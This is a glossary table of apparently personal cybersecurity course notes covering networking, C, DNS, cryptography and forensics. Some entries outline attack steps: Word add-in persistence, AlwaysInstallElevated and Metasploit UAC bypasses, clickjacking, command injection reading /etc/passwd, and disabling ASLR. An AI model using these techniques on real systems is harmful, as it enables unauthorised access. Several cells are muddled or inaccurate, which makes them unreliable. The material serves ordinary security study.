|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| **A** |  | B | | P | | |
| Cluster – size | **file size 1kb and save it to the disk, it will take up one whole cluster and use up 32kb of space on the disk.** two clusters can't share a file. Minimum file size on a file system with a cluster size of 32kb is 32kb. | | 1 | | 81 |
| Linux where | The 'where' command is roughly equivalent to the 'which' command in Linux, They are both used to identify the location of executable commands in a directory. The command searches the current directory and any directories listed in the PATH variable by default so can be handy when looking for the location of an executable. The default behavior can be changed by using the '/R' switch and specifying a directory; this will cause 'where' to search this directory and all sub directories for the file. | | 2 | | 313 |
| ; “semi colon” in c | Using ; will let C know when a statement ends. | | 2 | | 155 |
| (Linux navigation)  History file | Keeps track of every command run by that user in in .bash\_history (hidden file), stored in home folder | | 1 | | 156 |
| A Record | ‘Address Mapping’ record. This is the key record that maps a domain name to an IPv4 address. | | 1 | | 296 |
| AAAA Record | IPv6 Address Mapping' record. The equivalent of an A record, but for IPv6 addresses. Ex: 2001:db8::ff00:42:8329. | | 1 | | 296 |
| ACK number | In both TCP handshake and teardown, the ACK number increases by the number of bytes received. Zero bytes of data are sent is because no data is being sent and ACK number is just increased by 1 to show the packet was received. ACK(SYN/ACK seq number + 1) | | 1 | | 269 |
| Active Directory – windows servers | Allows the server to communicate with Windows desktops, allowing the administrator to configure all the connected desktops from one location easily. | | 2 | | 263 |
| Add-ins (Microsoft Word) | Way to infiltrate worms, contains executable code Third parties are allowed to write 'add-ins', which extend the functionality of Microsoft Word. Older trusted path: %APPDATA%\Microsoft\Word\StartUp\ By dropping a 'dll' file into this folder and renaming it with a '.wll' extension, we can ensure that Word runs the code included when it is launched. | | 3 | | 316 |
| Adding things to a dictionary | adding a new key-value pair to our dictionary is the same as updating an existing key-value. | | 2 | | 44 |
| Addminer (databases) | Allows the use of CSS skins, database admin can manipulate and control the whole database through one of these tools | | 1 | | 345 |
| Address Space Layout Randomization (ASLR) – Buffer overflow | A protection that involves randomizing the Memory address that a program gets loaded into each run. | | 3 | | 202 |
| AES (Advanced Encryption Standard) | AES can support encryption keys of size 128, 192, or 256 bits. Symmetric encryption faster than other forms of encryption, but it does suffer from the problem of key exchange. | | 3 | | 13 |
| AF\_INET | Socket is going to use IPv4. | | 2 | | 116 |
| Air-gapped (Sound exfiltration) | Not connected to untrusted networks such as the internet. | | 1 | | 327 |
| Allowed Sender | To restrict who can send to the log server. | | 1 | | 361 |
| Alternate Number Bases | Other number bases like base 16 (hex) or base 2 (binary) are incredibly useful in computing. | | 1 | | 46 |
| Alternative Search Engines (search) | Google, Bing, yahoo, duckduckgo, archive.org | | 1 | | 231 |
| AlwaysInstallElevated | Setting that can be enabled on Windows through Group Policy so that users can install software on their computers without administrator approval giving an unprivileged user administrative access. | | 3 | | 295 |
| AlwaysinstallElevated - Registry query | HKEY\_CURRENT\_USER\SOFTWARE\Policies\Microsoft\Windows\Installer | | 3 | | 295 |
| AlwaysInstallElevated (Private escalation) | AlwaysInstallElevated setting allows any user to install software, not just the administrator. For that two files must be generated. Both an executable ('.exe') and an installer ('.msi') file are required. | | 3 | | 340 |
| Amazon RDS | Like Aurora, can automatically update, restrict access to the backend system and simplify operational and security ownership. | | 1 | | 348 |
| Amplification Factor | Higher-level servers send to more than one sub-server. This means that the higher-level DNS server will send the addresses of several lower-level DNS servers. Secondly, the recursive resolver will send all the server's queries at the same time. | | 1 | | 351 |
| Anti-Forensics | Techniques used by cyber criminals to evade detection and make forensic investigations more difficult. | | 3 | | 127 |
| Anti-forensics Tools | **NotPetya ransomware:** Spreads itself across networks and delete itself from disks after execution, making it difficult to recover artifacts of the malware through disk forensics, executes commands that clear system, security, and application logs.  **Evidence eliminator:** Deletes various artifacts that could be used in forensic. | | 3 | | 127 |
| Apache | See also web servers. | | 1 | | 329 |
| APFS (file systems) | Apple File System, supports permissions, encryption, duplicate files can be stored without using more space | | 1 | | 86 |
| API | Application Programming Interface, which allows the programmers to write a few lines of code in their software that will call another application with a query and receive a response. | | 1 | | 335 |
| Application Software Security | Manage the security life-cycle of all in-house developed and acquired software in order to prevent, detect and correct security weaknesses. | | 3 | | 46 |
| Are an HTTP protocol requests that asks a web server to retrieve metadata without the data. | HEAD | |  | |  |
| Arithmetic Logic Unit (ALU) | The logic unit is used to compare data. The Arithmetic Logic Unit is the part of the CPU responsible for performing arithmetic | | 2 | | 334 |
| ARP  Address Resolution Protocol | Connects the internet Protocol (IP) address to a fixed physical machine address or media access control (MAC) address, in a local-area network (LAN). | | 1 | | 316 |
| arp -a | Command to display ARP cache on both Linux and Windows | | 3 | | 162 |
| ARP (networking 5) | ARP (the address resolution protocol) is a protocol used on local networks to map IP addresses to MAC addresses. When a computer receives an ARP response, it saves it into the ARP cache. This means the IP addresses of any computers that the compromised computer communicates with will have ARP cache entries. | | 1 | | 317 |
| ARP Cache | When a computer receives an ARP response, it saves it into the ARP cache and then you could MAPS IP's to MAC addresses using the ARP response. Systems listed in the ARP table are ones the compromised computer already communicates with, so traffic between those systems is less likely to flag as suspicious. ARP caches are kept on all operating systems in an IPv4 Ethernet network. | | 3 | | 322 |
| ARP spoofing / Poisoning | Remember, the ARP protocol is responsible for translating IP addresses to MAC addresses on a local network. When packets are transmitted on a local network, the MAC address rather than the IP address is what the switch uses to direct the packets.  In the ARP protocol, a computer can send out an ARP request asking which computer is associated with an IP address. The computer in question will respond with an ARP response containing their MAC address.  Any computer on the local network can claim to be any IP address, even if they aren't that computer. The trick is to look for any ports on the switch that have duplicate **MAC addresses.** | | 3 | | 327 |
| ARP Spoofing / Poisoning -  Mitigation | ARP spoofing can usually be detected at the switch level, and many types of switches have built-in ARP spoof protection. The trick is to look for any ports on the switch that have duplicate MAC addresses. | | 3 | | 328 |
| ASCII | A table that maps binary to characters. Used to represent text you recognize as values a computer can store.  ASCII character is 255 in denary.  ASCII character is 8 bits (1 byte), though it can fit in 7 bits. Used to convert 0 and 1 values into readable text. | | 1 | | 56 |
| ASLR – Debugging  Mitigate – buffer overflow | **Address Space Layout Randomization.** Isa protection that involves randomizing the memory addresses that a program gets loaded into on each run | | 3 | | 233 |
| Asymmetric Cryptography | With **symmetric cryptography**, you lock and unlock the message with the same key. Whereas with **asymmetric cryptography**, you have two keys, a public and a private. You can lock the message with whichever one you would like, but you must unlock it with the opposite key. | | 1 | | 386 |
| Asymmetric encryptions. | A form of encryption that uses a public and private key to encrypt a message. The public encryption key is the one you send to whoever needs to communicate with you securely. The private encryption key should remain private only to you. What is interesting is that the two encryption keys are linked mathematically. If someone wants to communicate with you, they encrypt their plain text with your **public key**. When you receive that encrypted message, you decrypt it using your **private key** | | 3 | | 17 |
| ATX - Motherboard | Standard size. | | 1 | | 22 |
| ATX connector | ATX connection that runs to the motherboard. | | 1 | | 39 |
| Audio Steganography | Encode secret messages into digital audio - modifying audio signals | | 3 | | 99 |
| Aurora | Amazon’s MySql. | | 1 | | 348 |
| Authentication (email) | Your email server will authenticate you to make sure you are allowed to send in that domain. | | 1 | | 372  373 |
| Authentication (encryption) | The origin of the message can be verified by the recipient. | | 3 | | 9 |
| Authoritative Name Servers | Controls the mapping between the domain name and the IP address. | | 1 | | 292 |
| Authoritative nameserver | It retrieves the specific IP address of the origin server for the provided web domain name, which the resolver will pass back to the client. Once a query has been passed through all four server types, the client can initiate a query directly to the origin server of the provided web address, that has been provided, which will respond by sending data to be displayed in the web browser. | | 1 | | 351 |
| AUTO\_INCREMENT=1 (MariaDB) | start auto incrementing the table from 1 | | 2 | | 251 |
| Autopsy/TSK | They offer the capability of evidence search techniques, such as meta data analysis, keyword searches, timelines and hash databases, in-built case management system | | 3 | | 125 |
| Autoruns | Microsoft tool – Sysinternals. views files that are running | | 3 | | 308 |
| Availability | see risk management | | 3 | | 45 |
| awk '{print $1}' | The command "awk '{print $1}'" is a command that uses the awk program to print the first field (column) of every line in a text file. The single quotes (' ') around the command ensure that the shell does not interpret any special characters in the command. The command can be used to quickly extract specific information from a text file without the need for more complex commands or scripts. | | 1 | | 187 |
| **B** |  | |  | |  |
| Backend (servers) | Handles tasks such as data analysis and storage and runs on the server itself. | | 1 | | 344 |
| Backtrace | Which functions were called to get us to this point in the code. | | 2 | | 348 |
| Banner (disabling it) | This prevents version information from leaking. Some webservers will output their version number and some basic configuration information and that can make you vulnerable to a specific exploit. | | 1 | | 340 |
| Base 10 | also known as 'decimal' or 'denary'. | | 1 | | 46 |
| Base 16 | HEXIDECIMAL (we often convert binary to hexadecimal when working on computers). | | 1 | | 47 |
| Base 2 | BINARY | | 1 | | 47 |
| Base 64 | A group of binary-to-text encoding systems that represent binary data in ASCII format. Each Base64 digit represents 6 bits of data; three 8-bit bytes can therefore be represented by four 6-bit Base64 digits. | | 3 | | 122 |
| Base16 | Hexadecimal is base16. | | 1 | | 52 |
| Base64 encoded data | Example: **JTQgSGV5IGZvbGtzIGhvdyBnb2VzCg==** | | 1 | | 59 |
| Baudot | Emile Baudot invented the Baudot code or International Teleprinter Code in 1870. It is a binary code that uses crosses and dots. It was used for teleprinter messages instead of morse code and allowed to encode 2^5=32 characters efficiently. | |  | |  |
| Being wary of user input | This is what make a program useful, however, it could make it vulnerable. | | 2 | | 88 |
| Benefits of moving from local logging to using a log server provided organizations. | Harder for attackers to overwrite logs | |  | |  |
| Big endian format | 0x565555c7 - is when the most significant bytes are stored before the less significant bytes | | 3 | | 239 |
| bigint(x) | BIGINT is a data type in SQL (Structured Query Language) used to store large integers. The "x" in "BIGINT(x)" represents the number of digits that can be stored in the BIGINT column. | | 2 | | 249 |
| Binary | How computers store and express information it is written in 1s and 0s. | | 1 | | 48 |
| Binary to denary | Binary long form converted back to denary | | 1 | | 48 |
| Binwalk (Steganography) | Binwalk is a tool for searching a given binary image for embedded files and executable code. Specifically, it is designed for identifying files and code embedded inside firmware images. | | 3 | | 100 |
| BIOS - Basic Input Output System | It is the first program that is loaded, and prepares, or initializes, the hardware ready to load the bootloader. It is stored in the motherboard. | | 1 | | 102 |
| Bitlocker | BitLocker Drive Encryption is a data protection feature that integrates with the operating system and addresses the threats of data theft or exposure from lost, stolen. | |  | |  |
| Bits & Bytes | The smallest unit of data that can be stored on a computer system. There are only two possible values stored in a single bit: 1 or 0  Boolean Value - 1 or 0.  1 byte is 8 bits.  1 kibibyte (KiB) is 1024 bytes.  1 mebibyte (MiB) is 1024 kibibytes.  1 gibibyte (GiB) is 1024 mebibytes.  1 tebibyte (TiB) is 1024 gibibytes.  1 kilo=1000,  1 kibi=1024.  1 Byte = 8 Bits | | 1 | | 44 |
| Bless | Hex editor | | 3 | | 138 |
| Blind SQL injection | There is SQL injection flaw, but the place where the flaw exist doesn't print the result of the query. Seems like it is not working but, it is. | | 3 | | 157 |
| Blob | Stores strings in MySql. | | 2 | | 250 |
| Block Storage | **STORES DATA IN THE MOST EFFICIENT LOCATION WITHIN THE STORAGE SYSTEM**. A common type of storage on the could. Utilized in a Storage Area Network (SAN). Data is split up into blocks of equal size, and each block is assigned a unique identifier. The storage system controls where each block of data is stored according to the most efficient location. When data is accessed on a block storage system, the blocks are reassembled by the storage system based on their identifiers, and then the complete data is presented to the user. Separates data from systems - enables access to data from any system that can request it from the storage system without the data being tied to any one system. | | 2 | | 363 |
| Block Storage (cloud) | Data split into blocks of **EQUAL** size and each block is assigned a **unique identifier.** Storage system controls where each block of data is stored according to what the most efficient location is. Benefit of separating data from systems - data is not tied to any one system. | | 3 | | 362 |
| Blue team (security concepts) | The blue team acts as the defenders; they are responsible for setting up a secure network infrastructure, watching out for and responding to attacks and recovering from an attack. | | 3 | | 113 |
| Boolean logic | Logic is calculated in the logic unit of the processor through a series of **LOGIC GATES.** These gates are circuits which usually take two inputs and produce one output. | | 1 | | 64 |
| Boolean statement | Proposition. | | 1 | | 64 |
| Boolean values (on or off) (T or F) | Boolean values are case sensitive, use capital T in "True". | | 2 | | 18 |
| Bootkits (in boot sector) | Malicious code to the master boot record (startup software) if ran at a high enough privilege it can be incredibly difficult to remove. Some bootkits can even survive after the disk has been wiped and re-partitioned by persisting in the firmware of the hard disk itself. At that point, the only way to remove the bootkit would be to both erase the drive, and re-flash the hard disk with its original firmware. | | 3 | | 313 |
| Bootloader | Program loaded by the BIOS when computer is turned on, **responsible for loading the operating system.** Can load other programs but would be too complex to have a BIOS loading many operating systems. | | 1 | | 103 |
| BotNets | Massive networks of computers that have been hacked. Ex: MIRAI bot. | | 1 | | 374 |
| Bottom level domain server | Is responsible for resolving domain names to IP addresses at the lowest level of the DNS hierarchy. | | 1 | | 352 |
| Break me challenge | Decrypt data to find the password. | | 3 | | 25 |
| Breaking encryption | Either find the flaw in the encryption algorithm or guess the encryption key used. | | 3 | | 11 |
| Buffer overflow | echo 0 > /proc/sys/kernel/randomize\_va\_space | | 3 | | 186 |
| Buffer Overflow | A buffer overflow comes when the user can input something into the program. There is only so much space reserved for the input, but the programmer doesn't check that the input will fit in the memory reserved, and this allows us to overwrite adjacent memory addresses. | | 3 | | 185 |
| Buffer Overflow - Mitigations | * Always check the input length that a user has entered will fit into the buffer allocated for it. * **Stack Protector/Stack Canary**: is a value that sits before the return pointer in the stack. When the program's execution hits the return instruction, before the return pointer is loaded into EIP, the value of the stack canary is checked. If it has been overwritten, then the program terminates, because the CPU then knows that something dodgy was going on. * **NX/DEP**: No Execute on Linux, or Data Execution Policy on Windows separates areas of the stack into code and data, so if these protections are enabled, you can't put shellcode into memory as we did in the previous example and then tell the CPU to execute it. The CPU will know that the area of the stack that it has been pointed to is marked as not executable. This can also be bypassed. * **ASLR**: Address Space Layout Randomization is a protection that involves randomizing the memory addresses that a program gets loaded into on each run. | | 3 | | 202 |
| Buffer overflow (example) | Example of buffer overflow. | | 3 | | 234 |
| Buffer overflow (exploitation) | Example of buffer overflow using **gdb** and **pwndbg** and using **nops.** | | 3 | | 241 |
| Buffer overflow (identification) | User can input something into program & only so much memory space is reserved for the input. | | 3 | | 233 |
| Building from Source | Compile a package by scratch. | | 1 | | 211 |
| Bus (Network Topology) | All computers are connected by the same Ethernet cable. At the ends of the Ethernet cable lie line terminators, which discard any data that has not been read by a computer. This topology is not very common as only one computer can communicate at any one time. | | 1 | | 248 |
| Buses | Physical connections between the components that connect to the motherboard, responsible for moving data between components. It can move data between a USB drive and an SSD. | | 1 | | 23 |
| Bypassing UAC | The easiest way to bypass UAC is simply to ask the user for permission. | | 3 | | 274 |
| Bypassing UAC  Kernel Exploits | System has been unpatched to gain SYSTEM level privileges. | | 3 | | 280 |
| Bypassing UAC  Getsystem | To elevate to SYSTEM from Admin using Metasploit. | | 3 | | 277 |
| Bypassing UAC  Privileges | run post/windows/**gather**/win\_privs | | 3 | | 274 |
| Bypassing UAC  (Privilege escalation) | Automatically tries a few different exploits to bypass UAC without user interaction. | | 3 | | 322 |
| Bypassing UAC module | Using Metasploit - automatically tries a few different exploits to bypass UAC without user interaction. | | 3 | | 277 |
| Bypassing UAC-Metasploit | Module: exploit/windows/local/ask | | 3 | | 274 |
| Byte Object | Is just a binary representation of the string, this is what the b before the quotations comes in. It means we want to convert that string into a byte object. | | 2 | | 115 |
| **C** |  | |  | |  |
| C | C is a relatively low-level programming language, created in 1972 and was based on a programming language called B. Many higher-level programming languages are written in C. It's a dangerous language for casual programmers because there is no safety net. C will always do precisely what you tell it to do and nothing more, and this can cause unintended bugs, which can lead to exploitable software. In C, everything has to be within a function. Different versions of GCC, architectures and platforms may set different options, and the resulting binary may be functionally very similar but different. | | 2 | | 153 |
| C  Passing variables | Passes a copy of the data at the time function was called. Not using the same memory address in both functions. | | 2 | | 179 |
| C - Arguments | We have 'argc' and argv'. The 'argc' variable is an integer which contains the number of arguments passed to the program when it was executed. The 'argv' array contains the data passed in. The first element of the array is the program name, and after that are the arguments, the user typed. | | 2 | | 177 |
| C - Arrays | * Using the square bracket notation, you can access and modify data at array positions. * You can access data at existing positions in the array, but you can't add more data or change the size of the array. * If you need more space, your only option is to create a new array, copy the data from the old array into the new array and then add your new data using the square brackets notation. * single array. Specify the array type when you create it, and it can only ever hold that data type. * You can't mix and match within the same array. * use single quotes in C. Double quotes are for saving data into an array of characters. | | 2 | | 174 |
| C - Char | Char is technically an integer that is 1 byte long . Different architectures and systems may compile these types as different sizes, though they are very commonly the same. Particularly the double which is based on an IEEE standard. | | 2 | | 162 |
| C - Char array | Variable that can store strings --> **char variable\_1[] = "Hello my first variable";** | | 2 | | 156 |
| C - Character Types | Char: This is technically an integer type that is always 1 byte large. it is used for holding characters, but it could be used for other numerical data types if you wanted. **There is no string data type in C.** If you want a string, you must make an array of characters. WARNING: If you are saving a single character into a char variable, you MUST use single quotes in C. Double quotes are for saving data into an array of characters. Different architectures and systems may compile these types in different sizes, though they are commonly the same—mainly the double, which is based on an IEEE standard. | | 2 | | 162 |
| C - Code Comments | Here are two types of code comments in C. The first is the double forward-slash (//), and The second type of comment is the multi-line comment /\* \*/. /\* indicates the start of a multi-line code comment, while \*/ is used to signify the end of a multi-line code comment. | | 2 | | 170 |
| C - Comments | (/ /) single line and (/\* \*/) multi line. | | 2 | | 170 |
| C - Compile | Compile for that arch or cross-compile for a target arch. Data on the stack must be a fixed length known at compile time. To RUN a program, you need to compile it into an EXECUTABLE file  Ex: **gcc -o hello hello.c** | | 2 | | 153 |
| C - Compiler parameter -o | the **-o parameter** specifies the output | | 2 | | 153 |
| C - Conditionals | Same as in python. | | 2 | | 171 |
| C - Double | A double is typically 64-bits and a float 32-bits, they can hold different numbers of precision points from a typical compiler. | | 2 | | 171 |
| C - Fgets | Checks the length of the input data and truncates the rest. fgets(data, sizeof data, stdin). | | 2 | | 175 |
| C - fgets function | Takes the variable to store the data in, the maximum number of bytes to read (in our case we did the size of the data variable), and the place to read the input from which in this case is standard input. Also notice a slight change in the printf function. We removed the trailing '\n' because the fgets() function automatically adds a newline. fgets is a standard C library function for receiving user input from the command line. fgets reads a limited number of characters from a given file stream source into an array of characters. | | 2 | | 176 |
| C - file command | file <filename> will show you information about a file or program | | 2 | | 153 |
| C - Files | First, we open a file handle to the file we wish to read using 'fopen'. The 'fopen' . | | 2 | | 178 |
| C - format string specifiers | ex: %c, %x, %d | | 2 | | 163 |
| C - Functions | The differences stem from C being a strictly typed language, so we need to specify what types of data we are passing into a function and what types of data we expect to get back from the function. When a function is called, and a variable is passed into the function a copy of the data is made and a new variable is created inside the new function at an entirely different memory address. If you don't want to create a copy of the variable, you must instead pass in the pointer to the variable to the function. | | 2 | | 167 |
| C - Int | An integer value | | 2 | | 161 |
| C - loops | You need to INITIALIZE the variable OUTSIDE of the loop | | 2 | | 171 |
| C - Loops | There are two types of loops in C: for loops and while loops. | | 2 | | 172 |
| C - Maths | Same as in Python, with just a couple of additions. You can increment (add 1 to) an integer variable using the '++' operator. You can also decrement (subtract 1 from) an integer variable using the '--' operator. | | 2 | | 166 |
| C - print(f) | * Has the ability to handle multiple output streams, different data types and even convert a given type to a different format. * Will grab the first variable passed into it and substitute whatever it finds at that location. * Can handle complex data types and output devices. As printf is more complex, it can also be more vulnerable. * %d prints a numeric value from the variable. A string is simply a set of values from memory being interpreted in C. * %s will print everything from the address in question until a NULL byte is found. | | 2 | | 158 |
| C - Programs - Running | Needs to be compiled it into an executable file. There are several different compilers out there for C. on. Linux the most common one is GCC. the "stdio" library is a standard C library for dealing with input and output. The name stands for "standard input output". C is strictly typed language. You have to determine the type of the variable first and make sure whatever value you are storing in that variable conforms. | | 2 | | 154 |
| C - sizeof() | Sizeof() will print the size of a variable based on its type, not the size of bits of data stored within it. If you declare a char byte, sizeof() will tell you the size of the char. | | 2 | |  |
| C - Variables | int: An integer value  short: A short integer value  long: A long integer value.  The above integer types could either be signed or unsigned. A signed integer is capable of being a negative value, but the most significant bit is used to hold the sign, and therefore the maximum size of the integer is reduced. | | W3AQ | | 161 |
| C -Double | In c programming language. see also c- maths. The datatype that should be used to get the most accuracy when converting a fraction into a decimal is a DOUBLE. double-precision. Accurate value until 16 digits but slower. | | 2 | | 162 |
| C -Double | Double precision floating point value (number with a decimal point) E.g., 7.2384729843 and more - 64 bits | | 2 | | 161 |
| C – Files | fopen("test.txt", "r"), fgets(data, sizeof data, file), fclose(file) | | 2 | | 178 |
| C – functions | addSTUFF function example | | 2 | | 166 |
| C-  Printing |  | | 2 | | 155 |
| C- Float | single precision floating point value (number with a decimal point) E.g., 10.327000 - typically 32 bits | | 2 | | 162 |
| Caching (authoritative name servers) | If a name server makes a query and discovers the IP address a domain point to, it can cache the result for a time. Future requests for that domain will use the saved value, to save from the name server having to make the request every time. Of course, it will still periodically erase the cache so that if the name server configuration is updated, it will reflect the new address in a reasonable time, but caching provides a measure of efficiency so that not every request to a domain has to be sent to the authoritative name server each and every time.  **If a name server makes a query and discovers the IP address a domain point to, it can cache the result.** | | 1 | | 293 |
| Caesar cipher | Letter shifting between 1 and 26. | | 3 | | 12 |
| Capacity | The largest amount of data that can be stored on the drive itself. Drives usually have a maximum capacity that is slightly lower than their advertised value. **EX: a 4 TB drive will be about 3.8 TB.** | | 1 | | 28 |
| Captcha | Redirects a scanner to the same page in a loop | | 3 | | 179 |
| cd \ | Root of the filesystem | | 2 | | 301 |
| Central Processing Unit (CPU) | The processor is responsible for executing the instructions contained in computer programs. | | 1 | | 24 |
| Centralize logging | Central logging refers to the practice of collecting, aggregating, and storing log data from multiple sources in a central location. | | 1 | | 32 |
| CEO fraud | Posing as a figure higher up in order to get an employee to perform wire transfers via electronic communication | | 3 | | 294 |
| Certbot | Can manage the automatic renewal of security certificates for you without needing authorization each time. You can change an option so that you have more control over the configurations, or you can allow certbot full access to edit the configuration of your web server. | | 1 | | 340 |
| CeWL | Tool that can be run against a website in order to build a custom wordlist. This program is going to act as a search engine and crawl the site, picking out common words and writing them to a file. We can use this as the basis for a password cracking dictionary. CeWL is a tool used to pull words from a website and use it to build a wordlist of language used at that organization in order to increase the probability of cracking passwords. | | 3 | | 76 |
| CeWL (blue team) | Enforce a good password policy. | | 3 | | 78 |
| CeWL (red team) | Used for crawling sites and picking out common words & write them to a file, **creating a pw dictionary.** | | 3 | | 76 |
| Chain of Custody | All physical evidence collected during the investigation (such as hard drives or USB sticks) must go into seal-able evidence bags, which the analyst must name and date. Whenever anyone takes responsibility for that evidence, such as handing it over to law enforcement, they must also name and date the evidence bags when in their possession. It is vital to maintain the legal worth of the evidence. | | 3 | | 98 |
| Challenges of servers | air-gapped - not connect to untrusted networks. | | 1 | | 326 |
| Change case | upper(),lower(),title(),capitalize(),swapcase() | | 2 | |  |
| Changing Directory  Windows | Windows The first command you're going to need is cd, this enables you to change directory (move to a different folder). For example, cd \ will take you to the root of the file system. It's worth noting that Command Prompt is not case sensitive, it doesn't matter whether you use CD, cd or Cd: all are perfectly valid. The same goes for file names. | | 2 | | 301 |
| Changing DNS server | ISP DNS can block sites | | 1 | | 353 |
| Changing Drives  windows | Changing Drives To access another drive, we just type that drive's letter, followed by ":". For instance, if you wanted to change the drive from "C:" to "D:", you should type "d:" and then hit enter on your keyboard. If you know the directory, you need to go to on the new drive you can navigate straight to it by using cd with the /D switch. | | 2 | | 302 |
| Checking multiple conditions | Checking multiple conditions refers to the process of evaluating multiple expressions or conditions in a program to determine the flow of execution. | | 2 | | 58 |
| Child | Standard account with parental controls enabled automatically so things like usage time can be monitored or limited. It can only be created as part of a family, it's not possible to create a Child type by any other method. | | 2 | | 281 |
| Chsh | Change shell. | | 1 | | 215 |
| CIA triad | Confidentiality, Integrity, Availability | | 3 | | 45 |
| CIDR (Classless Inter-Domain Routing) | Shorthand way of writing subnet mask - A CIDR IP address may look something like this: 123.45.67.89/12. This IP address contains two groups of numbers: Network prefix (123.45.67.89): The binary configuration of a network address Suffix (/12): The indication of how many bits is in the network identifier.  Ex: network 192.168.0.0, subnet mask 255.255.0.0, CIDR notation 192.168.0.0/16. 16 is number of bits for the network identifier.  The /16 is # of bits that is the network identifier.192.168 is the network identifier, that is 2 bytes or 16 bits. | | 1 | | 266 |
| Classes and objects (python) | ***class Agent():*** | | 2 | | 99 |
| Clickjacking - Mitigation  DENY | This option will prevent the page from ever being loaded into an iframe. | | 3 | | 168 |
| Clickjacking – Mitigation ALLOW-FROM | This option will allow the page to be loaded in an iframe, but only for the specified domain. | | 3 | | 168 |
| Clickjacking (exploitation) | Load target site into the iframe and style it with opacity of 0 and z-index at 1 to make it invisible. | | 3 | | 211 |
| Clickjacking (identify) | Is where a user can be tricked into clicking on something without even realizing they did it like iframe & overlay buttons.  A clickjacking attack will fail if the Xframeoptions do not allow the target site to be loaded into an iframe. The target site needs to be able to be loaded into an iframe for a clickjacking attack to be successful. The attacker website iframe is positioned within the browser so that there is an overlap of the attacker action with the bait website using appropriate width and height position values. | | 3 | | 164 |
| Clickjacking (mitigation) | Web server should send an X-Frame-Options header in the HTTP response for every page.  Make sure the web server itself sends the X-frame options header in the HTTP response | | 3 | | 213 |
| Clickjacking (mitigation) | Use **DENY, SAMEORIGIN, ALLOW-FROM domain.com.** | | 3 | | 213 |
| Client facing server | Googles DNS recursively resolves by pivoting around the DNS infrastructure. | | 1 | | 350 |
| Client side | Refers to a server that is specifically configured to handle queries from clients, such as those that originate from web browsers, email clients, and other types of network clients. | | 1 | | 332 |
| Clock Speed | Measure a processor's speed by how many instructions it can execute in one second. A processor that can execute one instruction per second has a clock speed of 1 Hz (hertz).  Ex: Clock speed of 4 GHz can execute 4 billion instructions per second. | | 1 | | 24 |
| Cloud | Many companies run their servers in 'the cloud' software that organizations use daily actually connect to the same set of data centers. An attacker can also set up a server in these locations, anyone can; and by virtue of that, can hide their connections amongst all the other traffic that goes out to the same data centers. | | 3 | | 342 |
| Cloud - Exfiltration | The cloud is not technically an exfiltration method on its own, but it is helpful in allowing attackers to cover their tracks. An attacker can also set up a server in these locations, anyone can; and by virtue of that, can hide their connections amongst all the other traffic that goes out to the same data centers. | | 3 | | 342 |
| Cloud (exfiltration) | Anyone can purchase a server and an IP address (owned by the cloud provider) cheaply. | | 3 | | 182 |
| Cloud Portions of Control | What You Get to Manage: IaaS, PaaS, SaaS | | 1 | |  |
| Cloud Storage Mechanisms | File, Block and Object storage for cloud storage. | | 2 | | 363 |
| Cloudflare | DNS with security | | 1 | | 354 |
| Cluster | A cluster is the **smallest section of the disk** that can be used to store a file. So, if you have a file system with a cluster size of 32kb, and save a file that is 64kb in size, then that file will be spread across two clusters. It is size is determined by the file system. Two files cannot use the same cluster space. Has an address similar to RAM. | | 1 | | 82 |
| Clusters - multiple | **If no cluster, rest of file will be placed into different cluster & address of that cluster will be added to end of 1st cluster.** | | 1 | | 82 |
| Clusters - multiple | **File allocation table to maps cluster, so first cluster point to table entry, containing addresses of the next cluster.** | | 1 | | 82 |
| CMD | Will execute a command when the image is run as a container. | | 2 | | 370 |
| cmd.exe | Even if admin, will open cmd as user. Need to 'Run as Admin' and UAC will prompt password and default to "c:\\Windows\system32". | | 2 | | 296 |
| CNAME Record  DNS Records | The CNAME or 'Canonical Name' record is used for creating an alias of a domain name. For example, if you wanted your domain to redirect to google.com, you would use a CNAME. | | 1 | | 296 |
| Codd's Relational Model for database management | The main principle of this model is that front-end database users shouldn't have to know how the database works behind the scenes. | | 1 | |  |
| Collisions | There is a possibility that multiple files 'could' coalesce to the same hash although rare. | | 3 | | 22 |
| Command Injection | A flaw in a web application that takes advantage in how a web application process user input and pass it to the command line to perform a task. | | 3 | | 187 |
| Command Injection – Attack | * An attacker enters “cat/etc/passwd” into a filed on a website, this flaw would allow the input to be executed by the web server’s operating system. * A web page field that doesn’t validate input. | |  | |  |
| command Injection – Mitigation | * To program the web application without a third-party entity. * To Sanitize the user input. | |  | |  |
| Command Injection Commands | The attacker has taken advantage of the way that the operating system process commands and wild cards (\*, &&). The attacker is injecting the name of a file into a command which executes the contents of the file and writes the output to a new file called whoami\_result.txt && || run multiple commands on one line. | | b | |  |
| Command line commands | cd (change directory), use drive letter: DIR (list directory content | | 2 | | 300 |
| Command Prompt | Is a command line interpreter (CLI) application available on most Windows operating systems. Most of the time it's used to automate tasks by running scripts or batch files, carry out administrative tasks, and troubleshoot and solve issues.  It is officially called the "Windows Command Processor" but is generally referred to as the command shell or prompt, and sometimes by its filename cmd.exe. By default, the command prompt runs unprivileged. If you need administrative privileges, you must specifically request them when opening the command prompt. It is NOT MS-DOS | | 2 | | 298 |
| Companies house  RECON (red team) | Lists information on Officers of the company, and all companies have to register with it. | | 3 | | 75 |
| Compiled Programming Language | Converted into machine code and then saved that way as an executable file, faster to execute, limited by processor architecture. | | 2 | | 9 |
| Compilers | The process of compilation by default generates an executable file that is suitable for the processor architecture you are compiling the code on. On Linux the most common one is GCC "GNU Compiler Collection” | | 2 | | 154 |
| Computer A sends 20 bytes of data Computer B responds with Computer A's acknowledgment number + 15 | Resend the entire packet | |  | |  |
| Computer Program | The instructions contained in the program are loaded into memory and then read by the processor. The processor performs each instruction in turn while the program runs. | | 2 | | 9 |
| CONCAT\_WS | concatenate with separator | | 2 | | 208 |
| conditionals | if (<condition>) {} else if () {} else {} | | 2 | | 171 |
| Confidentiality | Access to systems should be shared only among authorized users. | | 3 | | 45 |
| Configuring the GUI |  | | 1 | | 122 |
| Connect MariaDB | command: $ sudo MySql -u root -p | | 2 | | 193 |
| Connect Scan | Basic. Don’t need to be root on the system you are scanning. A connect scan is obvious firewalls will flag it. | | 3 | | 86 |
| Connect scan - Nmap -vv -sT 127.0.0.1 | **-vv** 'use the second level of verbosity' **-sT** is the TCP connect scan, and **127.0.0.1** is the target. | | 3 | | 86 |
| Connect\_ex | Same as connect but does not raise an exception. Will return 0 if a success and errno otherwise. | | 2 | |  |
